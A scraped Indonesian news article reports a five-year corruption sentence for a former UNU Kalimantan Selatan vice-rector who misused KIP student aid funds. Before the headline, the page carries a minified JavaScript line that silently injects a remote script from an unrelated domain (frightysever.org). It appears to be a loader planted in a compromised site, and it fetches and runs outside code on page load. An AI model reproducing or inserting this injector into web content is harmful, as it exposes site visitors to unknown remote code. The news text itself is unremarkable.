(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terdakwa Korupsi Dana KIP Mahasiswa UNU Kalsel Divonis 5 Tahun Bayar Rp 1,9 Miliar


KANALKALIMANTAN.COM, BANJARMASIN – Majelis Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin memvonis mantan Wakil Rektor 1 bidang akademik dan penelitian Universitas Nahdlatul Ulama (UNU) Kalimantan Selatan (Kalsel) Rif’atul Hidayat pidana 5 tahun penjara dan denda Rp 200 juta subsider 2 bulan.

Rif’atul Hidayat juga diwajibkan membayar ganti rugi sebesar Rp 1,9 miliar atau jika tidak dapat membayar diganti dengan pidana 2 tahun 6 bulan penjara.

Vonis tersebut dibacakan oleh ketua majelis hakim Jamser Simanjuntak bersama dua anggota di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Rabu (14/6/2023) pukul 18.30 Wita.

Dalam pertimbangan majelis hakim berpendapat terdakwa Rif’atul Hidayat terbukti berdasarkan dakwaan melakukan korupsi bantuan biaya kuliah Kartu Indonesia Pintar (KIP) mahasiswa UNU Kalsel pada 2020-2021 senilai Rp 2,7 miliar.

Baca juga: 35 Kg Sabu Masuk Kalsel Jalur Lintas Negara, Dua Tersangka Mafia Narkoba Internasional di Banjarmasin Dibekuk

Sehingga dari pertimbangan di atas perbuatan tindak pidana korupsi sebagaimana dakwaan primer Pasal 2 ayat (1) Undang-Undang pemberantasan Tipikor menurut majelis telah terpenuhi.

“Unsur melawan hukum, unsur memperkaya diri sendiri, dan unsur merugikan keuangan perekonomian negara telah terpenuhi,” kata majelis hakim.

Kemudian untuk hal yang memberatkan terdakwa disebutkan tidak mendukung program pemerintah dalam pemberantasan Tipikor, kemudian menciderai citra lembaga pendidikan.

“Hal yang meringankan terdakwa tidak pernah dihukum, berlaku sopan di persidangan, dan menyesal,” kata Jamser.

Putusan 5 tahun penjara tersebut lebih ringan dari tuntutan JPU, sama halnya untuk putusan ganti rugi lebih dibawah dari tuntutan JPU.

Baca juga: Sidang Korupsi Cuci Uang Mantan Bupati HST, Pembelian Dua Moge HD Diungkap

Sebelumnya terdakwa dituntut oleh JPU dari Kejari Banjar dengan pidana 7 tahun dan enam bulan penjara denda Rp 300 juta subsider 3 bulan penjara.

JPU juga menuntut terdakwa membayar ganti rugi negara sebesar Rp 2,7 miliar atau diganti dengan pidana 3 tahun dan 9 bulan penjara.

Sebelumnya pada saat penyidikan terdakwa tidak dilakukan penahanan, baru sejak 12 Januari 2023 hingga sekarang dilakukan penahanan saat proses persidangan.

Usai pembacaan putusan, terdakwa melalui penasehat hukumnya mengatakan akan mempertimbangkan terlebih dahulu sebelum memutuskan akan mengajukan banding atau menerima putusan.

Hal yang sama juga diungkapkan JPU dari Kejari Banjar yang memilih pikir-pikir selama waktu 7 hari yang diberikan majelis hakim Pengadilan Tipikor Banjarmasin.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.